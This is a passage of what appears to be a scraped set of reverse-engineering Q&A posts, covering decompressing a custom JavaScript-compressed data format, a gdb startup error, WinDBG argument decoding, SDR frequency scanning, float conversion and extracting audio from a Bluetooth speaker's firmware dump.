81 00 00 FC 82 00 81 09 9B 38 81 21 83 00 BD 2E 07 FC F8 F0 E0 C0 80 80 00 8F 00 04 80 C0 E0 F0 F8 95 3F 02 3F 0F 01 84 25 00 F0 B8 3A 01 F0 C0 83 2C 06 01 07 1F 3F 3F 7F 7F 85 16 04 7F 7F 3F 0F 07 85 3D 01 E0 FC 95 3A 00 03 84 22 00 F8 B5 36 83 34 02 00 00 3F 92 1D 00 1F 85 1E 00 C0 95 39 85 20 B5 37 00 0F 84 37 00 F0 95 1F 00 01 85 39 01 F8 FE 8E 1C 02 FC F0 80 83 1C 01 01 1F B5 37 03 FF 7F 0F 01 83 39 02 C0 F0 FC 92 20 02 3F 0F 07 85 3B 03 80 C0 C0 E0 85 00 01 C0 80 85 33 02 03 0F 3F B6 35 83 3A 86 00 98 22 03 3F 1F 1F 0F 81 00 00 07 83 00 81 0A 04 1F 1F 3F 3F 7F BB 32 FF C0 FE C0 00 FC C1 00 B8 37 00 00 C1 00 C0 37 A1 2B 8E 00 C0 37 00 0F 84 37 01 E0 FE AE 35 01 FE E0 84 36 00 0F B8 37 03 FF 7F 0F 03 83 39 05 80 E0 F0 F8 FC FE A1 3E 06 FE FE FC F8 F0 E0 80 83 34 02 03 0F 7F B9 36 82 00 06 3F 1F 0F 07 03 01 01 83 3F 02 00 00 80 80 00 00 C0 91 00 81 18 85 24 06 01 01 03 07 0F 1F 3F BE 33 8A 00 04 7F 7F 3F 3F 1F 80 00 00 0F 83 00 00 07 87 00 84 11 81 1C 04 3F 3F 7F 7F 7F CB 2F 8B 40 00 FE 84 00 8C 15 04 FC F8 F8 F0 E0 80 00 00 C0 82 00 80 08 04 F0 F0 F8 F8 FC 8C 25 BE 00 02 FC E0 00 81 00 02 01 0F 3F 89 33 01 F0 C0 83 15 03 07 07 0F 1F 84 00 03 0F 07 03 01 82 14 01 C0 F0 C8 36 83 35 01 00 0F 91 14 01 07 7F 8B 2B 02 FF FF 3F 83 18 00 00 C7 37 00 01 83 37 00 FC 8A 14 83 13 00 00 8D 2B 02 FF FC E0 82 17 01 03 1F C7 37 02 FF 1F 03 82 3A 06 C0 E0 F0 F8 FC FC FE 83 00 84 37 84 0D 11 FE FC FC F8 F8 F0 F0 E0 C0 00 00 02 02 06 0E 3E 7E FE C8 36 81 00 08 7F 3F 1F 0F 07 07 03 03 01 82 00 84 34 99 00 CC 37 FB 00 05 F8 FC FC FE FE FE F7 37 03 01 01 01 00 82 00 11 80 80 C0 C0 C0 E0 E0 E0 F0 F0 F8 F8 F8 FC FC FC FE FE E8 3D 13 7F 7F 3F 3F 3F 1F 1F 1F 0F 0F 0F 07 07 03 03 03 01 01 01 00 81 00 12 80 80 80 C0 C0 E0 E0 E0 F0 F0 F0 F8 F8 FC FC FC FE FE FE DA 3F 8B 00 0E 7F 7F 3F 3F 3F 1F 1F 1F 0F 0F 0F 06 06 02 00 85 00 DB 2C 12 FE FE FE FC FC F8 F8 F8 F0 F0 F0 E0 E0 E0 C0 C0 80 80 80 82 2D 09 01 01 01 03 03 07 07 07 0F 0F CA 2C 0E FC F8 F8 F0 F0 F0 E0 E0 E0 C0 C0 80 80 80 00 82 00 11 01 01 03 03 03 07 07 07 0F 0F 1F 1F 1F 3F 3F 3F 7F 7F 83 2B D1 00 10 01 03 03 03 07 07 0F 0F 0F 1F 1F 1F 3F 3F 7F 7F 7F 98 2B FD 40 00 F0 83 00 CA 2C 00 80 83 00 A2 2B 00 00 83 00 B6 2C 00 FC 87 00 86 13 00 00 83 00 88 1A 97 00 BD 37 00 01 87 00 91 13 9E 00 BD 37 BD 00 FD 77 00 7F 83 00 D9 2C 00 FE 82 00 00 FC 84 00 83 0D 95 2B C4 00 0A FE FC F8 F0 E0 E0 C0 80 80 80 00 96 00 09 80 80 C0 C0 E0 E0 F0 F8 FC FE CC 34 01 F0 C0 82 2C 0A 01 03 07 0F 1F 1F 3F 3F 7F 7F 7F 8D 21 80 12 07 3F 3F 3F 1F 0F 07 03 01 82 2A 01 C0 F0 C8 36 82 34 02 00 00 3F A1 2B 02 FF FF 3F 82 38 01 00 00 C7 37 02 3F 07 01 81 37 03 C0 F8 FC FE 9D 2A 03 FE FC F8 C0 81 2B 02 01 07 3F B5 2C 00 F0 91 00 02 70 30 10 81 3A 08 00 00 80 C0 C0 C0 E0 E0 E0 8D 1F 80 12 80 18 00 80 83 23 04 10 30 70 F0 F0 B5 36 01 FF 07 C3 00 B6 37 FF C0 FF C0 86 00 00 FE 81 00 00 FC 82 00 81 09 9B 2C 81 21 83 00 BD 2E 07 FC F8 F0 E0 C0 80 80 00 8F 00 04 80 C0 E0 F0 F8 95 3F 02 3F 0F 01 84 25 00 F0 B8 3A 01 F0 C0 83 2C 06 01 07 1F 3F 3F 7F 7F 85 16 04 7F 7F 3F 0F 07 85 3D 01 E0 FC 95 3A 00 03 84 22 00 F8 B5 36 83 34 02 00 00 3F 92 1D 00 1F 85 1E 00 C0 95 39 85 20 B5 37 00 0F 84 37 00 F0 95 1F 00 01 85 39 01 F8 FE 8E 1C 02 FC F0 80 83 1C 01 01 1F B5 37 03 FF 7F 0F 01 83 39 02 C0 F0 FC 92 20 02 3F 0F 07 85 3B 03 80 C0 C0 E0 85 00 01 C0 80 85 33 02 03 0F 3F B6 35 83 3A 86 00 98 22 03 3F 1F 1F 0F 81 00 00 07 83 00 81 0A 04 1F 1F 3F 3F 7F BB 32 98 40 08 FE FC FC F8 F8 F0 F0 F0 E0 83 00 00 C0 84 00 84 0E 80 18 04 F8 F8 FC FC FE D1 31 05 FC F0 E0 C0 80 00 81 00 07 01 03 03 03 07 07 07 0F 8C 00 80 12 80 18 00 01 82 22 04 80 C0 E0 F0 FC C9 35 00 F0 82 31 04 00 03 1F 3F 7F 9D 2A 03 7F 3F 1F 03 82 3C 01 00 F0 C7 37 00 01 83 37 00 F8 A1 2B 02 FF FF F8 83 37 00 01 C7 37 02 FF 1F 07 83 3A 06 80 C0 E0 F0 F8 F8 FC 80 00 00 FE 8C 00 81 13 05 F8 F8 F0 E0 E0 80 83 34 01 07 1F C8 36 82 00 0B 7F 3F 1F 0F 07 07 03 03 01 01 01 00 92 00 80 18 07 03 03 07 07 0F 1F 3F 7F CD 33 92 00 00 7F 86 00 9F 2B BD 40 00 C0 83 00 F6 37 00 00 83 00 E4 2C 06 FC F8 F0 E0 C0 C0 80 81 00 84 30 B0 00 B6 35 01 E0 00 82 00 04 07 1F 3F 3F 7F 85 00 84 2C 86 0F A0 00 B6 37 83 36 00 00 9E 13 D5 00 00 0F 83 00 9E 13 E9 40 00 C0 83 00 F6 37 00 00 83 00 E7 2C 00 80 8B 00 84 37 8C 15 8F 00 08 C0 C0 C0 E0 E0 F0 F0 F8 FE BD 37 00 3F 8B 00 84 37 8C 15 8F 00 03 1F 1F 07 01 82 29 01 80 F8 BD 39 8A 00 84 37 CE 2B A5 00 00 03 83 00 CE 2B FF C0 FF C0 A3 40 00 FE 84 00 8C 15 04 FC F8 F8 F0 E0 80 00 00 C0 82 00 80 08 04 F0 F0 F8 F8 FC 8C 25 BE 00 02 FC E0 00 81 00 02 01 0F 3F 89 33 01 F0 C0 83 15 03 07 07 0F 1F 84 00 03 0F 07 03 01 82 14 01 C0 F0 C8 36 83 35 01 00 0F 91 14 01 07 7F 8B 2B 02 FF FF 3F 83 18 00 00 C7 37 00 01 83 37 00 FC 8A 14 83 13 00 00 8D 2B 02 FF FC E0 82 17 01 03 1F C7 37 02 FF 1F 03 82 3A 06 C0 E0 F0 F8 FC FC FE 83 00 84 37 84 0D 11 FE FC FC F8 F8 F0 F0 E0 C0 00 00 02 02 06 0E 3E 7E FE C8 36 81 00 08 7F 3F 1F 0F 07 07 03 03 01 82 00 84 34 99 00 CC 37 FB 00 00 FC 83 00 F6 37 00 00 83 00 E7 2C 00 F8 8B 00 84 37 8C 15 8F 00 04 FC FC FC FE FE C1 37 00 03 8B 00 84 37 8C 15 8F 00 01 01 01 82 27 02 80 E0 F8 C1 3C 87 00 84 37 A0 29 01 7F 1F 83 2A 00 80 F4 37 AB 2B A5 00 00 3F 83 00 CE 2B FF C0 FF C0 C3 00 09 FE FE FE FC FC FC F8 F8 F8 F0 80 00 03 E0 E0 E0 C0 D3 2C 09 FE FE FE FC FC FC F8 F8 F8 F0 80 00 09 E0 E0 E0 C0 C0 C0 80 80 80 00 85 00 00 01 80 00 06 03 03 03 07 07 07 0F BA 2C 09 FE FE FE FC FC FC F8 F8 F8 F0 80 00 09 E0 E0 E0 C0 C0 C0 80 80 80 00 83 00 00 01 80 00 03 03 03 03 07 80 00 01 0F 0F 85 31 03 7F 7F 7F FF C5 00 00 00 86 00 07 06 06 06 07 0F 0F 0F 1F 80 00 03 3F 3F 3F 7F 80 00 95 2B C6 34 80 00 0A 0F 0F 07 07 07 03 03 03 01 01 01 83 3E 03 80 80 80 C0 80 00 03 E0 E0 E0 F0 80 00 03 F8 F8 F8 FC 80 00 02 FE FE FE D4 37 8B 00 06 7F 7F 7F 3F 3F 3F 1F 80 00 0B 0F 0F 0F 07 07 07 03 03 03 01 01 01 85 2F 85 00 0C E0 E0 E0 F0 F0 F0 F8 F8 F8 FC FC FC FE 80 00 CF 3F 8E 00 06 7F 7F 7F 3F 3F 3F 1F 80 00 0C 0F 0F 0F 07 07 07 03 03 03 01 01 01 00 84 00 E0 38 95 00 04 7F 7F 7F 3F 3F BD 2C 06 FE FC F8 F8 F0 F0 E0 81 00 00 C0 82 00 81 09 04 F0 F0 F8 FC FE 96 2F 01 EF E3 81 23 81 00 00 F8 BA 32 04 FC F0 C0 80 00 81 00 05 01 03 03 07 07 0F 84 00 02 07 07 03 82 14 04 00 00 80 E0 F8 95 3C 00 1F 85 23 00 E0 B6 35 00 F0 82 32 04 00 00 03 1F 7F 8E 1B 02 7F 0F 01 84 1D 01 C0 FC 94 39 00 3F 84 20 00 80 B5 37 84 36 00 00 94 1E 00 0F 85 1F 94 39 00 F8 84 1E 00 01 B5 37 01 FF 07 84 38 01 F0 FC 93 1F 01 1F 03 84 20 06 80 E0 F0 F8 FC FC FE 85 00 04 FC F8 F8 F0 C0 84 1A 01 03 1F B6 36 80 00 01 1F 07 84 00 01 C7 F7 93 20 07 7F 1F 0F 07 07 03 01 01 83 3F 87 00 07 01 01 03 03 07 0F 1F 3F B9 34 AE 00 00 7F 83 00 A2 2B D6 00 09 FE FE FE FC FC FC F8 F8 F8 F0 80 00 03 E0 E0 E0 C0 D3 2C 09 FE FE FE FC FC FC F8 F8 F8 F0 80 00 09 E0 E0 E0 C0 C0 C0 80 80 80 00 85 00 00 01 80 00 06 03 03 03 07 07 07 0F BA 2C 09 FE FE FE FC FC FC F8 F8 F8 F0 80 00 09 E0 E0 E0 C0 C0 C0 80 80 80 00 83 00 00 01 80 00 03 03 03 03 07 80 00 01 0F 0F 85 31 03 7F 7F 7F FF C5 00 00 00 86 00 07 06 06 06 07 0F 0F 0F 1F 80 00 03 3F 3F 3F 7F 80 00 95 2B C6 34 80 00 0A 0F 0F 07 07 07 03 03 03 01 01 01 83 3E 03 80 80 80 C0 80 00 03 E0 E0 E0 F0 80 00 03 F8 F8 F8 FC 80 00 02 FE FE FE D4 37 8B 00 06 7F 7F 7F 3F 3F 3F 1F 80 00 0B 0F 0F 0F 07 07 07 03 03 03 01 01 01 85 2F 85 00 0C E0 E0 E0 F0 F0 F0 F8 F8 F8 FC FC FC FE 80 00 CF 3F 8E 00 06 7F 7F 7F 3F 3F 3F 1F 80 00 0C 0F 0F 0F 07 07 07 03 03 03 01 01 01 00 84 00 E0 38 95 00 04 7F 7F 7F 3F 3F F8 37 FF C0 D1 80 00 FE 83 00 00 FC 86 00 84 10 D5 2C 0C FE FC F8 F8 F0 E0 E0 C0 C0 80 80 80 00 9C 00 80 22 08 C0 C0 E0 E0 F0 F0 F8 FC FE C0 31 04 F8 F0 C0 80 00 82 00 09 01 03 07 07 0F 0F 1F 1F 1F 3F 81 00 00 7F 8E 00 82 16 80 1E 06 0F 0F 07 07 03 01 00 82 00 03 80 C0 E0 F8 B8 3D 01 FC C0 84 32 02 0F 3F 7F 9D 2B 8D 00 02 7F 3F 0F 84 3C 01 C0 FC B5 37 83 35 01 00 00 AD 33 85 00 83 37 01 00 00 B5 37 02 7F 07 01 83 38 02 E0 F8 FE AD 33 02 FE FC E0 83 34 02 01 07 7F B5 37 81 3A 01 1F 0F 83 00 02 8F CF EF A7 34 03 EF CF 8F 0F 83 00 00 1F B9 34 97 40 08 FE FC FC F8 F8 F0 F0 F0 E0 83 00 00 C0 84 00 84 0E 80 18 04 F8 F8 FC FC FE D1 31 05 FC F0 E0 C0 80 00 81 00 07 01 03 03 03 07 07 07 0F 8C 00 80 12 80 18 00 01 82 22 04 80 C0 E0 F0 FC C9 35 00 F0 82 31 04 00 03 1F 3F 7F 9D 2A 03 7F 3F 1F 03 82 3C 01 00 F0 C7 37 00 01 83 37 00 F8 A1 2B 02 FF FF F8 83 37 00 01 C7 37 02 FF 1F 07 83 3A 06 80 C0 E0 F0 F8 F8 FC 80 00 00 FE 8C 00 81 13 05 F8 F8 F0 E0 E0 80 83 34 01 07 1F C8 36 82 00 0B 7F 3F 1F 0F 07 07 03 03 01 01 01 00 92 00 80 18 07 03 03 07 07 0F 1F 3F 7F CD 33 92 00 00 7F 86 00 9F 2B BD 00 00 F8 AF 00 CA 37 03 03 02 02 00 80 00 03 01 01 01 03 A5 00 C8 35 01 F0 C0 81 34 01 00 3E A1 2B D1 00 02 1F 07 01 82 38 03 00 80 80 C0 A6 00 C9 38 0B FC F0 E0 E0 40 00 01 07 0F 0F 0F 1F A5 00 C8 36 00 00 83 00 04 F0 F8 FC FC FE A6 00 C8 37 08 FF 3F 1F 0F 07 03 03 03 01 82 00 00 00 A3 00 C9 37 FE 00 00 FC C3 00 B6 37 00 03 80 00 01 02 00 85 00 00 01 80 00 81 11 87 00 81 11 86 1E 01 02 02 8B 1C 87 00 B5 36 03 F8 E0 C0 80 80 2F 05 03 0F 1F 3F 7F 7F 97 26 05 7F 7F 3F 1F 0F 03 81 3A 02 C0 E0 F8 97 26 AE 00 81 33 80 00 A2 2B 80 00 81 2B 80 00 C7 37 01 1F 03 83 38 04 E0 F0 FC FC FE 99 28 04 FE FC FC F0 E0 83 2B 01 03 1F C7 37 80 00 05 3F 1F 0F 07 03 01 83 3E 03 80 80 80 C0 8E 00 80 14 83 1D 05 01 03 07 0F 1F 3F CA 34 88 00 05 7F 7F 3F 3F 3F 1F 81 00 00 0F 88 00 82 10 80 18 01 7F 7F D5 2F 99 00 00 FE 80 00 00 FC 82 00 80 08 D3 2C 02 FE F0 E0 82 00 01 E3 EF 89 15 06 FC F0 E0 C0 80 80 00 80 00 00 01 84 00 81 0B 05 80 80 C0 E0 F0 FC CA 35 01 C0 00 82 00 00 1F 8A 14 00 E0 83 14 03 07 1F 7F 7F 87 15 03 7F 3F 1F 03 83 17 00 F0 C7 37 83 35 00 00 92 14 88 33 84 00 00 FE 83 18 00 01 C7 37 01 1F 01 82 37 02 C0 FC FE 8F 37 8C 33 02 FC F0 C0 81 15 02 03 07 3F C7 36 80 00 03 3F 1F 07 03 82 3C 03 80 C0 C0 E0 83 00 84 37 84 0D 04 E0 C0 C0 80 80 83 11 02 20 20 60 81 10 CA 37 83 00 04 7F 7F 3F 3F 1F 82 00 00 0F 9F 00 D0 37 F7 00 00 FC AF 00 CA 37 00 03 80 00 02 02 02 00 82 00 00 01 80 00 81 0F 9C 00 C9 36 03 FC F0 C0 80 80 30 04 07 1F 3F 7F 7F 9D 2B D0 00 80 33 81 00 00 FE F0 32 82 00 01 1F 03 83 38 06 80 E0 F0 F0 F8 F8 FC A3 00 CB 3A 08 7F 3F 1F 1F 0F 0F 07 07 03 82 00 00 01 A0 00 CB 37 FC 00 04 F8 FC FC FE FE F8 37 01 01 00 83 00 10 80 80 C0 C0 C0 E0 E0 F0 F0 F8 F8 F8 FC FC FE FE FE A4 2C 00 80 83 00 BA 3B 11 7F 7F 3F 3F 3F 1F 1F 0F 0F 0F 07 07 03 03 03 01 01 00 82 00 10 80 80 C0 C0 C0 E0 E0 F0 F0 F0 F8 F8 FC FC FE FE FE 8B 31 05 FE FC FC F8 F0 C0 83 2A 00 07 BA 37 91 00 0F 7F 7F 3F 3F 3F 1F 1F 0F 0F 0F 07 07 03 03 02 00 83 00 03 80 80 80 C0 80 00 01 80 80 82 0D 08 01 01 01 03 07 07 0F 1F 7F CA 31 11 FE FE FE FC FC F8 F8 F8 F0 F0 E0 E0 E0 C0 C0 80 80 80 82 32 0F 01 01 03 03 03 07 07 0F 0F 0F 1F 1F 3F 3F 3F 7F C4 2C 0F FC FC FC F8 F8 F0 F0 F0 E0 E0 C0 C0 C0 80 80 00 82 00 10 01 01 03 03 03 07 07 0F 0F 0F 1F 1F 3F 3F 3F 7F 7F 83 2B D1 00 11 00 01 01 01 03 03 07 07 07 0F 0F 1F 1F 3F 3F 3F 7F 7F 97 2B FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 FF C0 DF 80
+
+

Compression routine (code below)

+
const COMPRESS_SAMPLE_RATE =   0x800,
+      TABLE_PTR_SIZE =         0x40,
+      MAX_UNCOMPRESSED_BYTES = 0x80,
+      MAX_COMPRESSED_BYTES =   0x202,
+      MIN_COMPRESSED_BYTES =   0x2,
+
+      COMPRESSION_FLAG =       0x80;
+
+_ptrArray = [];
+
+function lookupBestOccurs(data, size)
+{
+    // var occurs[COMPRESS_SAMPLE_RATE][2];
+    var occurs = Array(COMPRESS_SAMPLE_RATE).fill(0).map(x => Array(2).fill(0));
+
+    var oneIsPresent = false;
+    var b;
+    var i;
+
+    // Initialize the table
+    // occurs[i][0] = number of occurrences of the offset
+    // occurs[i][1] = offset
+    for (i=0; i < COMPRESS_SAMPLE_RATE; i++) {
+        occurs[i][0] = 0;
+        occurs[i][1] = i;
+    }
+
+    // Calculate the byte occurrence
+    for (i=COMPRESS_SAMPLE_RATE; i < size; i += COMPRESS_SAMPLE_RATE) {
+        b = data[i];
+        for (let j=1; j < COMPRESS_SAMPLE_RATE; j++)
+            if (data[i - j] == b)
+                occurs[(j - 1)][0]++;
+    }
+
+    // Order the array
+    // qsort(occurs, COMPRESS_SAMPLE_RATE, sizeof(uint32_t)*2, __compare);
+    occurs.sort( function(n1, n2) { return n2[0] - n1[0]; } );
+
+    // Set the pointer table to use for compression
+    for (i=0; i < TABLE_PTR_SIZE; i++) {
+        _ptrArray[i] = occurs[i][1] + 1;
+        if (_ptrArray[i] == 1)
+            oneIsPresent = true;
+    }
+    // Append the value 1 which improves the compression of multiple same bytes
+    if (!oneIsPresent)
+        _ptrArray[TABLE_PTR_SIZE-1] = 1;
+
+    return true;
+}
+
+function compress(data, size)
+{
+
+    /* unsigned long */
+    var r, w=4, uncompSize=0, maxCompSize, bestCompCounter, bestPtr;
+    var rawDataCounter = 0, rawDataCounterPtr=0, maxOutputSize;
+
+    var out = []; /* size: maxOutputSize */
+
+    // Create the output buffer
+    maxOutputSize = size;
+
+    // Print the table
+    for (let i = 0; i < TABLE_PTR_SIZE; i++, w += 2) {
+        out[w] = _ptrArray[i];
+        out[w+1] = _ptrArray[i] >> 8;
+        if (_ptrArray[i] > uncompSize)
+            uncompSize = _ptrArray[i];
+    }
+
+    // Print the first uncompressed bytes
+    if (uncompSize > MAX_UNCOMPRESSED_BYTES)
+        uncompSize = MAX_UNCOMPRESSED_BYTES;
+
+    out[0] = uncompSize;
+    out[1] = uncompSize>>8;
+    out[2] = uncompSize>>16;
+    out[3] = uncompSize>>24;
+
+    for (r=0; r < uncompSize; r++, w++)
+        out[w] = data[r];
+
+    //
+    // Compress the data
+    //
+    do {
+        maxCompSize = size - r > MAX_COMPRESSED_BYTES ? MAX_COMPRESSED_BYTES :
+            size - r;
+
+        // End of the compression
+        if (!maxCompSize) {
+            if (rawDataCounter)
+                out[rawDataCounterPtr] = rawDataCounter - 1;
+            break;
+
+        // Try to compress the next piece of data
+        } else if (maxCompSize >= 2) {
+            bestCompCounter = 0;
+            bestPtr = 0;
+
+            // Check if there is enough space
+            if (w + 2 >= maxOutputSize) {
+                w += 2;
+                break;
+            }
+
+            // Check the best similar piece of data
+            for (let i = 0; i < TABLE_PTR_SIZE; i++) {
+                let counter;
+
+                if (_ptrArray[i] > r)
+                    continue;
+
+                for (counter = 0; counter < maxCompSize; counter++)
+                    if (data[r + counter] != data[r + counter - _ptrArray[i]])
+                        break;
+
+                if (counter > bestCompCounter) {
+                    bestCompCounter = counter;
+                    bestPtr = i;
+                }
+            }
+
+            // If the reproduced piece is large enough, use it!
+            if (bestCompCounter > MIN_COMPRESSED_BYTES) {
+                r += bestCompCounter;
+                bestCompCounter -= 3;
+                
+                out[w] = COMPRESSION_FLAG | (bestCompCounter & 0x7F);
+                out[w+1] = ((bestCompCounter >> 1) & 0xC0) | (bestPtr & 0x3F);
+
+                // _bestCompCounter = (out[w] & ~COMPRESSION_FLAG) + ((out[w+1] & 0xC0) << 1);
+                // _bestPtr = out[w+1] & 0x3F;
+
+                w += 2;
+                if (rawDataCounter) {
+                    out[rawDataCounterPtr] = rawDataCounter - 1;
+                    rawDataCounter = 0;
+                }
+                continue;
+            }
+        }
+
+        // Else write the uncompressed data
+        rawDataCounter++;
+        if (rawDataCounter == 1) {
+            // Check if there is enough space
+            if (w + 2 >= maxOutputSize) {
+                w += 2;
+                break;
+            }
+            rawDataCounterPtr = w;
+            w++;
+        } else if (rawDataCounter == MAX_UNCOMPRESSED_BYTES) {
+            out[rawDataCounterPtr] = 0x7F;
+            rawDataCounter = 0;
+        }
+        out[w] = data[r];
+        w++;
+        r++;
+    } while (w < maxOutputSize);
+
+    // Does the compression finished without any error?
+    if (w >= maxOutputSize) {
+        alert("No more space available in the output buffer for compression");
+        return false;
+    }
+
+    // Copy the buffer in a best buffer
+    outputSize = w;
+
+    return out;
+}
+
+function initApp(t) {
+    hexData = [];
+
+    for (let i = 0; i < t.length; i++)
+        hexData.push( t.charCodeAt(i) );
+
+    const result = lookupBestOccurs(hexData, hexData.length) ?
+                           compress(hexData, hexData.length) : [];
+
+    return result;
+}
+
+Using the provided uncompressed data, compressed data, and the compression algorithm, how can I write a decompression mechanism? +" +"['x86', 'gdb', 'elf', 'x86-64']"," Title: startup program exits with code 126 when executing program at entrypointBody: I want to reverse engineer a program. I managed to find the entry point but every time I want to launch the application I get the same error `During startup program exited with code 126. +Here is what I did: +
┌──(kali㉿kali)-[~/Documents/Guessy]
+└─$ gdb guessy\?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo
+GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
+Copyright (C) 2021 Free Software Foundation, Inc.                                                                                                                                                                                            
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.
+Type "show copying" and "show warranty" for details.
+This GDB was configured as "x86_64-linux-gnu".
+Type "show configuration" for configuration details.
+For bug reporting instructions, please see:
+<https://www.gnu.org/software/gdb/bugs/>.
+Find the GDB manual and other documentation resources online at:
+    <http://www.gnu.org/software/gdb/documentation/>.
+
+For help, type "help".
+Type "apropos word" to search for commands related to "word"...
+Reading symbols from guessy?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo...
+(No debugging symbols found in guessy?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo)
+(gdb) break 1
+No symbol table is loaded.  Use the "file" command.
+(gdb) break 0x0000000000006160
+Function "0x0000000000006160" not defined.
+Make breakpoint pending on future shared library load? (y or [n]) 
+(gdb) run
+Starting program: /home/kali/Documents/Guessy/guessy?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo 
+zsh:1: permission denied: /home/kali/Documents/Guessy/guessy?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo
+During startup program exited with code 126.
+
+I found the entrypoint with this: +
┌──(kali㉿kali)-[~/Documents/Guessy]
+└─$ objdump -f /bin/ls                                                                                                                                                                                                                 130 ⨯
+
+/bin/ls:     file format elf64-x86-64
+architecture: i386:x86-64, flags 0x00000150:
+HAS_SYMS, DYNAMIC, D_PAGED
+start address 0x0000000000006160
+
+" +['windbg']," Title: Nice way to get Windows API call arguments in WinDBGBody: How do I get a nice list of call arguments for well documented functions such as kernel32!CreateRemoteThread in windbg? Right now when a breakpoint hits I manually decode them considering the architecture and stdcall vs fastcall convention. I feel there must be a better way. +" +"['radio-interception', 'gnu-radio']"," Title: There is an implant in me, is there a way to identify the frequency it is receiving signals on?Body: There is an implant in me, is there a way to identify the frequency it is receiving signals on? +I don't want to share the evidence and my reasoning for believing there is an implant in me, you can either take my word for it or not. +I want to find the frequency it is receiving signals on, so far I have used dvb-t dongle to use it as an SDR, and I have manually scanned the entire frequency range provided by it, which is 24MHz to 1700MHz, which was very tiring, but I couldn't identify anything suspicious, it could be possible that as I was tuning, the frequency it was receiving signals on was not the tuned one. +I want to know if there a way to identify the frequency of the signal? How? And what equipment would I need? +" +"['ida', 'disassemblers']"," Title: How to convert to floatBody:
.rdata:00414704 __real@c0800000 dd 0C0800000h
+
+How to convert this value 0C0800000h to float point number? +" +"['firmware', 'firmware-analysis', 'memory-dump', 'flash']"," Title: How to extract sound file from a small 1MB binaryBody: I have a bluetooth speaker which announces interface events like "connected", "powering off". I want to silence these announcements. The way I thought of doing this is to get at the sound files that the speaker uses, and replacing/deleting that data. +I had earlier asked a question about extracting this data and using the advise received, I've managed to successfully extract the memory of this speaker. +I'm now trying to analyse the extracted binary and find the sound files. But I haven't been successful. +
+The extracted binary is here: +https://drive.google.com/file/d/1e9yG8xMkZ331C2TOTOzo9Y93L4abxX9F/view?usp=sharing +The chip is XT25F08B. It's a 1 MB memory. I extracted the data over SPI0 and SPI3 interfaces multiple times (using an Arduino that i programmed for this purpose), and diff compared the outputs to ensure that I had the right data. +Also running strings command on the binary shows a long history of device names that I recognize as various phones / computers I use to connect to the speaker. This adds to my confidence that the extracted data isn't corrupted. +
+Looking at the binary in binvis.io shows: + +There seem to be three chunks separated by unwritten memory. +According to binwalk(binwalk --disasm data.bin), the middle chunk (43KB starting at offset 991232) is ARM thumb code. +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+991232        0xF2000         ARM executable code, 16-bit (Thumb), little endian, at least 2500 valid instructions
+
+This chunk is actually filled with the device name history. I'm not sure why this would be ARM code, because the processor for the speaker is ATS2815 which is an integrated bluetooth audio processor, and it's datasheet doesn't seem to indicate any type of relation to ARM architecture, but I'm not sure. +Binwalk also thinks the last chunk (4KB starting at 1044480 and ending at the final binary address) contains ARM code about half way through. +The first chunk though is totally opaque to me. See the entropy image (also binvis): + +Clearly the first chunk is either encrypted or compressed. +This is just a bluetooth speaker, what would you be protecting by encrypting though? Also the entropy isn't fully random, there are some subtle variations, indicating perhaps it's compressed. But I'm not sure. +Running binwalk -X data.bin seems to indicate that almost every second byte is a raw deflate compression stream! +
...
+41834         0xA36A          Raw deflate compression stream
+41837         0xA36D          Raw deflate compression stream
+41986         0xA402          Raw deflate compression stream
+42290         0xA532          Raw deflate compression stream
+42291         0xA533          Raw deflate compression stream
+42300         0xA53C          Raw deflate compression stream
+42510         0xA60E          Raw deflate compression stream
+42543         0xA62F          Raw deflate compression stream
+42758         0xA706          Raw deflate compression stream
+42789         0xA725          Raw deflate compression stream
+42920         0xA7A8          Raw deflate compression stream
+42948         0xA7C4          Raw deflate compression stream
+42967         0xA7D7          Raw deflate compression stream
+43867         0xAB5B          Raw deflate compression stream
+44226         0xACC2          Raw deflate compression stream
+...
+
